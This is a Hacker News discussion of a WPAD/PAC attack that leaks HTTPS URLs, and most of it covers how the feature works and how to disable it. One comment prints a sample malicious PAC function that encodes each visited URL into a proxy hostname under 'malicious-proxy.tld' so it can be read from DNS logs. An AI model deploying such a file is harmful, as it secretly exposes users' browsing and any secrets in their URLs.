New attack that cripples HTTPS crypto works on Macs, Windows, and Linux | Hacker News Reader

New attack that cripples HTTPS crypto works on Macs, Windows, and Linux

arstechnica.com

250 pointskcorbitt68 comments

From the briefing:

  We will demonstrate that, by forcing your browser/system to use
  a malicious PAC (Proxy AutoConfiguration) resource, it is
  possible to leak HTTPS URLs.

Would be interesting to see the exploit in action. However, malicious PAC redirection has existed for a while [0].

What isn't quite clear is whether this would work even with HSTS sites.

The takeaway seems to be that never trust any unknown network.

[0] https://blogs.technet.microsoft.com/mmpc/2014/02/28/maliciou...

This PAC exploit was already published in 2015 in Russian: https://translate.google.com/translate?sl=ru&tl=en&u=https%3...

> never trust any unknown network

By that I'm guessing you mean local networks ala coffeeshop/public wifi. What about networks that NSA/[insert three letter agency here] controls? Can PAC be affected by those?

Wait, what... malicious dhcp can "force" browsers to execute essentially arbitrary code for every request? And this is by design? Is there some flag to nuke that feature from eg Firefox?

Yes, WPAD (web proxy auto discover) is for locating a piece of javascript code specified by Proxy auto-config [1], which consists of a single javascript function that is given the url & the host, and returns a proxy to use.

1: https://en.wikipedia.org/wiki/Proxy_auto-config

Edit: note that in addition to SOCKS proxies, this also allows one to provide HTTP proxies. I'm not familiar with the interaction of https traffic with HTTP proxies, but I'd hope browsers avoid using them? Anyone familiar with this care to comment? (specs are sparse in this area)

> Yes, WPAD (web proxy auto discover) is for locating a piece of javascript code specified by Proxy auto-config [1], which consists of a single javascript function that is given the url & the host, and returns a proxy to use.

So DHCP can cause my browser to execute code. That is … completely and totally insane. I'm not saying you're wrong, but rather that you're right about about a world gone mad.

For SSL through an HTTP proxy, clients use HTTP CONNECT[1], which turns converts the HTTP connection into a plain tunnel to the given host and port.

https://tools.ietf.org/html/rfc2616#section-9.9

https://en.wikipedia.org/wiki/HTTP_tunnel

I knew WPAD existed but I figured it was just some static lookup. Quelle surprise when it's a hack of massive proportions.

So much of this Netscape stuff just reeks of a "startup MVP", to put it mildly.

I don't mind startup MVP stuff, I mind when it goes on to becomes a "standard" with little to no modification. WPAD/PAC is one. See also the "api" for document.cookie, which entirely consists of assigning strings to document.cookie.

Yes! http://i.imgur.com/jzEbP4g.png

Menu > Preferences > Advanced > Network > Settings… > No Proxy.

Very simple and easily discoverable setting.

    ________________________

Google Chrome uses your OS's settings for proxy, though, so you can't easily turn it off in most cases, but you can go to

Settings (scroll down a page) > Advanced Settings > Network > Configure System Proxy Settings

(that redirects you to the system settings for proxies, usually).

This turns off the system performing WPAD discovery on its own, but does it actually block the DHCP option?

Yes, it does. The DHCP option will tell your _OS_ about the PAC file, but the browser won't ask the OS for that information unless the "Use system proxy settings" option (which is the default) is selected. The choices in this dialog map to the preference values I describe in https://news.ycombinator.com/item?id=12175050 as follows:

"No Proxy": 0 "Auto-detect proxy settings for this network": 4 "Use system proxy settings": 5 "Manual proxy configuration": 1 "Automatic proxy configuration URL": 2

If I set Firefox to use system proxy, I suppose it won't be affected by WPAD unless the OS does?

Does anyone know if it's possible to force unpatched libproxy on Linux to not use WPAD? Also, does network-manager use libproxy if I don't have libproxy1-plugin-networkmanager installed?

It's not arbitrary code, it is a DHCP option to push a proxy setting. It is DHCP option 252, and isn't really any different than any other DHCP option, like router or default domain.

Setting network settings is exactly what DHCP was for.

Well, in this case the DHCP option provides a url for a javascript file with a function to be called for each url accessed. I presume there could be some sandboxing of that function, depending on how it is typically used.

Edit: even with sandboxing, I imagine they could encode the url into a hostname for a proxy and then use the DNS requests for the proxy to exfiltrate the url. Proxy auto-config allows specifying "PROXY my_encoded_url.other_data.example.com:8080; DIRECT" so that it would attempt the DNS lookup, and on it's failure fallback to using a direct connection so there wouldn't be much change visible to the user (just a slight extra delay due to dns lookup).

> Well, in this case the DHCP option provides a url for a javascript file with a function to be called for each url accessed.

I don't think so. Just a proxy. A malicious proxy can of course inject whatever it wants into your viewed pages.

codys is correct: The DHCP option provides a URL for a javascript file with a function to be called for each URL. The function then returns how to actually go about connecting to that URL (direct or proxied connection) and what hostname to actually use, etc.

This is separate from the proxy that then gets used for the actual connection if the PAC file says to use a proxy. That proxy can't inject things into pages loaded over https unless it's using an MITM cert signed with a trust root that your browser trusts.

The problem under discussion is that the function in the PAC file gets to see the URL being visited.

> Is there some flag to nuke that feature from eg Firefox?

Yes. In Firefox, the "network.proxy.type" preference is an integer that can take on the values 0, 1, 2, 3, 4, 5 with the following meanings:

0,3: no proxy (see https://bugzilla.mozilla.org/show_bug.cgi?id=115720 for the history on why 3 is the same as 0)

1: proxy manually configured in Firefox preferences, no PAC file.

2: Use the PAC file found at the URL given by the value of the "network.proxy.autoconfig_url" preference.

4: Use WPAD to get the PAC file.

5: Do whatever the OS says to do in terms of proxy settings (including what PAC file to use, if any).

The default value is 5. I believe setting the preference to 0 will ensure that you always use a direct, not proxied, connection to the target site, and in particular that no PAC file is used.

Edit: Ah, just noticed that kuschku points to UI for all this stuff below too.

This is a well known attack and has been for a while. There are established domain suffixes which block registration for 'wpad' (as well as a few other domains) for exactly this reason. Which is only a partial mitigation in a world where MITM is a potential attack vector.

I have domains which receive a steady stream of 'wpad.$domain' queries from machines which have nothing to do with me. I don't know who owns the machines. I also don't think anyone would notice if I decided to actually provide them with the proxy service they keep requesting from my infrastructure.

> I also don't think anyone would notice if I decided to actually provide them with the proxy service they keep requesting from my infrastructure.

If you did so, it would make for a really interesting CFAA (or your country's equivalent) case. Unless there is precedent for this kind of thing?

I'm unaware of any precedent... I could certainly see people getting upset, but I don't think they'd have solid grounds.

The interesting thing is that I actually am considering setting up a WPAD entry on a domain where I am seeing that traffic, for my own purposes (i.e. unrelated to the random queries I am getting).

In fact, I have just as much an argument that they would be the ones with possible CFAA liability if they start using my proxy server in a way I don't intend.

The CFAA is a mess.

Does anyone know how to explicitly disable WPAD on various platforms?

I tried searching for an OS X disable to no avail.

PS. I did find this which came out in May: https://www.us-cert.gov/ncas/alerts/TA16-144A

On OS X, it is set in the system network preference pane. Click a connection, then Advanced..., then Proxies, and there's a service listed called "Automatic Proxy Discovery" that you can enable if you want it (it is disabled by default.)

We can all imagine a case where actual running configuration differs from the intent expressed in those settings.

I think the OP is looking for a definitive statement or disabling mechanism whereby the DHCP client (and subsequently all web browser behaviour) in OSX definitely never honours DHCP option 252, which seems to be the relevant part of the attack described in the article.

TL;DR: So you say OS X users are safe with default config?

From the description in the article, I guess the attack might use a PAC file like the following

  function FindProxyForURL(url, host) {
    return "PROXY " + base64(url) + ".malicious-proxy.tld:1080";
  }

Then the attacker can look at his/her DNS server query log and figure out the URL.

There are a number of API calls that leak DNS queries, such as isInNet. If you have optimized a PAC for performance, you absolutely would avoid this from happening, but if you're evil and you want to leak dns queries... then whatever. I would add a filter to include only the required transactions (i.e., url contains samltoken or something).

On the flip side the article isn't correct about IE truncating hosts, what it does is cache the PAC results on a per-host basis, so only the first URL a client accesses to a host will get processed.

The other main threat of the WPAD is that it affects Zones. In a corporate environment, things that go through the proxy server are assumed to be on the internet and in the Internet zone. Things that go direct are assumed to be Intranet Zone, which has reduced security posture. An evil WPAD that just returns "DIRECT" all the time will lower IE's posture for all sites to Intranet Zone, enabling IWA (making credential harvesting possible), reducing warnings on active content, etc.

So it looks like the correct solution is for the browser to always supply proto://host/ as the url, regardless of the URL actually accessed.

DNS? What about sniffing the SNI data?

https://en.wikipedia.org/wiki/Server_Name_Indication

The SNI only has the host, not the complete url.

"We show that HTTPS cannot provide security when WPAD is enabled."

That's effectively a lie. The HTTPS connection itself is definitely still secure. The only difference is the browser is telling an attacker what URL it wants to go to. You can also watch what virtual hosts someone is visiting by sniffing DNS requests, statistical packet analysis can show exactly what you're looking at, and there are plenty of attacks on browsers and the client OS to get more data that don't require wpad.

If you want to browse securely, you have to tunnel everything. You should not assume a browser will ever be able to hide all possible traceable data about your connection & request.

Isn't the host that a user is requesting passed unencrypted anyways via SNI?

Also plain as day in the DNS lookup - but a MITM-attacker knowing the host you're connecting to isn't the problem here; it's that the attacker knows which particular URLs you have requested.

The full URL contains much more than just the host. Open fiddler, log in to a Google account, see how much sensitive data is sent inside URL params. All of this data is disclosed in this attack.

Did I dispute that? I pointed out they are lying that it compromises the HTTPS connection. It does not.

Given that almost every web dev's assumption is that TLS encrypts URL parameters, yes it does. Do search parameters in GET requests going across the wire in cleartext not count as possibly sensitive information to you or something?

A secure connection has an actual definition, and it is not "whatever a random web dev thinks happens when they use the internet".

URLs are resource locators. Any sensitive data needs to be in a POST. It's been in the RFC since day one.

Finally, the actual HTTPS connection and the HTTP transaction that occurs is fully secure and is in no way affected by this 'attack' [read: documented feature]. This is an info leak which does not affect the HTTPS protocol directly; it affects services and applications that use wpad.

I will amend my statement to say it is possible to expose query parameters that would otherwise have been secure, but this is still not a compromise of the security of the connection. It's an exploit/attack severity distinction. The net effect of this exploit (that's what it is, not an attack per se) is to provide a side channel to some other attack; but the integrity of the HTTPS connection remains intact.

> A secure connection has an actual definition

TLS is __supposed to make URLS confidential__. I don't understand why you don't see this is a problem.

> "whatever a random web dev thinks happens when they use the internet". I guess 'random web dev' means every single web app dev on the internet - dropbox puts sensitive info in the URLs, google does it, facebook does it, yahoo does it. I guess those engineers are just amateurs though.

> URLs are resource locators. Any sensitive data needs to be in a POST. It's been in the RFC since day one.

RFC 5246 makes no distinction between POST and GETs for it's security assurances - as part of the HTTP request, it should be confidential.

>This is an info leak which does not affect the HTTPS protocol directly; it affects services and applications that use wpad.

You mean HTTP, the one thing HTTPS is used with?

> The net effect of this exploit (that's what it is, not an attack per se) There's no fucking difference.

  > TLS is __supposed to make URLS confidential__. I don't understand why you don't
    see this is a problem.

No it is not. TLS is supposed to provide a secure connection for applications. HTTPS is supposed to make URLs confidential. These are different RFCs.

This exploit does not affect TLS. Okay? It. Does. Not. Affect. TLS. This affects _your web browser_.

- When a Flash vulnerability exposes user data, do you say HTTPS is compromised? Of course not.

- When you send someone an e-mail virus that they download with their e-mail program, do you say IMAP is compromised? Of course not.

- If your browser sends all its URLs to some unauthenticated unauthorized random server on the internet because it was being 'overly friendly', is HTTPS compromised? Of course not!

Your browser is compromised! HTTPS is working fine! And HTTPS isn't even involved!!! All of the juicy parts of this exploit happens over plain HTTP!

Your web browser and plugins and e-mail client may be fucked up, but the protocols they work with are working fine. Even wpad is, ironically, working exactly as it's supposed to.

  > RFC 5246 makes no distinction between POST and GETs for it's security assurances
    - as part of the HTTP request, it should be confidential.

....Why are you bringing up TLS at all?

> You mean HTTP, the one thing HTTPS is used with?

Yes. This exploit does not affect HTTP or HTTPS. It affects wpad-enabled services and applications.

There are lots, and lots, and LOTS of HTTP and HTTPS connections out there that do not support wpad. None of them are affected. The HTTP protocol, and the HTTPS protocol, and TLS (why you keep bringing up TLS is beyond me) are not affected directly by this exploit. The services and applications are.

  > > The net effect of this exploit (that's what it is, not an attack per se)
  > There's no fucking difference.

Go get a dictionary, buddy, and look up vulnerability, exploit, and attack. Now pick one word and replace all cases of all those words with just the one word. We use specific words for things for a reason.

I don't think you know the difference between a hostname & a URL

This attack is not new - it was already published in 2015 in Russian: https://translate.google.com/translate?sl=ru&tl=en&u=https%3... Given that BlackHat speaker is Russian guy too, the research authorship is questionable

I'm confused. Is this a real problem under default OS X settings? Is the OS X GUI misleading me?

In my settings in Network -> Advanced -> Proxies, all the little boxes are unchecked. There is an "Automatic Proxy Configuration" line but only when I check it do I see a method to enter the URL to a .pac file.

So, as a naive user, when I see everything unchecked I assume that everything is disabled. But perhaps the checkbox only provides a method to supply information that a DHCP server omits?

So if the DHCP server does return an URL to a .pac file, will OS X will accept it regardless of the check box?

The "Automatic Proxy Configuration" setting allows you to manually set the URL of the PAC file for automatic configuration. Maybe setting a custom PAC file can override the one sent by the DHCP server. Anyway, unchecking that one will not protect you.

However, in the same list, you should see a checkbox labeled "Auto Proxy Discovery". This is the one you want to uncheck so that OS X does not accept the URL sent by the DHCP server.

you should see a checkbox labeled "Auto Proxy Discovery"

In my experience, that box is unchecked by default for a clean installation of El Capitan. So I don't think that OS X is vulnerable (unless that box is explicitly changed by an end user).

I just found this Apple KB https://support.apple.com/kb/PH18553?locale=en_US that instructs users to select that setting if needed. That seems to confirm that the default is off.

The Ars Technica article should have been more nuanced. It strongly implies (IMO) that OS X is vulnerable by default.

So many vulns in WPAD. Best defense is don't use it.

Here's another recent one. https://ripe72.ripe.net/wp-content/uploads/presentations/49-...

Proxy Auto-Config is by off by default on Windows and Macs, but it doesn't say that in the article or on the Microsoft page.

Does that mean dhcp cant push pac file to IE or Safari by default?

This is why I don't trust public wifi, anywhere. I use my phone as a hot spot everywhere I go unless there's no other option. And I still don't trust my phone that much either so I don't do any online banking unless I VPN back to my house first.

Even ISPs will do all sorts of obnoxious things like this, although some public wifi is horrible. I got a $15/year ramnode VPS about a year and a half ago and removed all services except ssh on port 80 with chacha/poly1305 and public key encryption. I mostly use SOCKS with sshuttle to catch anything not configured for SOCKS (sshuttle in theory is a better method, but in practice it leaks DNS requests somehow). Quite simple and I highly recommend it. Traffic accounting seems to undercount substantially with this usage so I didn't get anywhere near my limit (I don't have the highest bandwidth usage, but not the smallest either). One public wifi I would like to use more often somehow manages to break this setup (and half the internet even without a VPN so no idea what they are doing), but I haven't had trouble anywhere else. I started doing this after getting SSL downgrade errors using public wifi.

>(sshuttle in theory is a better method, but in practice it leaks DNS requests somehow //

Even when specifically shuttling the DNS with the --dns option? Is that a reported bug?

Yes, even with the --dns option, although only with the default method. tproxy mode might (most likely would?) fix it. I tried it once and it didn't work at all, but I have since learned that I did it wrong since you need to explicitly exclude the address you are connecting to.

I didn't report it since I didn't gather enough information to make a particularly useful report. It is at least known that FreeBSD has an issue with DNS forwarding (that might be the same?), although I am on arch. I hope to look into it more at some point.

1) Turn off WPAD support on your device and call it a day.

2) this only leaks URLs, your banking creds are safe.

If you request a password reset, sites typically send you an email containing a link with a secret in the URL. If the network is able to see your browser requesting that URL, it should be able to interrupt your connection and go change the password itself.

A good point, (although step 1 still saves you) the universal Achilles Heel strikes again!

I wish more sites would use a second factor for resets. This would prevent so many of these types of problems. Also, Windows knows that it's an untrusted network. Maybe warn about proxies if you have it (WPAD) turned on for Big Corp reasons?

the chance that a mobile network provider will use DHCP for phone connections over Edge, 3G, LTE, etc... is extremly high. And I would guess Android and iPhone will actually honor WPAD

Since I couldn't find this on bugzilla.mozilla.org:

https://bugzilla.mozilla.org/show_bug.cgi?id=1289626

I am dubious that any of my Debian machines would fall for this.

BUT... I was unaware of this DHCP attack surface for WPAD. Does anybody know if Debian has some scripts for receiving a URL via that mechanism and then visiting it? I guess this would be achieved by libproxy or something?

Do the browsers do some WPAD stuff independently?

NetworkManager and dhcpcd will usually auto-configure with WPAD, and all major browsers will use it.

If you're using KDE, you can disable it under

System Settings > Network > Settings > Proxy > No Proxy.

If you want to disable it for the browsers, see https://news.ycombinator.com/item?id=12167767

I don't use network manager. I do use wicd. Looks like I have isc-dhcp-client, not dhcpcd5.

The DNS-based mechanism might get me, though... I don't know. Is that implemented exclusively at the browser layer?

I don't think dhcpcd5 does this. Do you have a reference?

Found the reference.. it supports wpad when used as a dhcp server. It doesn't support it as a client.

I'm also going to be talking a bit about WPAD in my Blackhat talk this year.

To over simplify: attacker stays at AirBnb/rental, attacker pwns local router and adds their dns server, attacker listens for wpad request and respond with malicious PAC to gain MitM. Oh, the dangers of AirBnB/rental networks.

https://www.blackhat.com/us-16/briefings.html#airbnbeware-sh...

> It will be demonstrated for the first time at next week's Black Hat security conference in Las Vegas

Wait, don't they mean Defcon?

No, it's BH.

https://twitter.com/BlackHatEvents/status/748215791779217409

DEFCON doesn't pay for you to give your talk; Black Hat does.

Black Hat is right before DefCon and more concentrated on professionals.

Nothing is premiered at Defcon anymore. Everything worth while is shown at BlackHat, then maybe at Defcon.

From the briefing: We will demonstrate that, by forcing your browser/system to use a malicious PAC (Proxy AutoConfiguration) resource, it is possible to leak HTTPS URLs. Would be interesting to see the exploit in action. However, malicious PAC redirection has existed for a while [0]. What isn't quite clear is whether this would work even with HSTS sites. The takeaway seems to be that never trust any unknown network. [0] https://blogs.technet.microsoft.com/mmpc/2014/02/28/maliciou....

Reply on news.ycombinator.com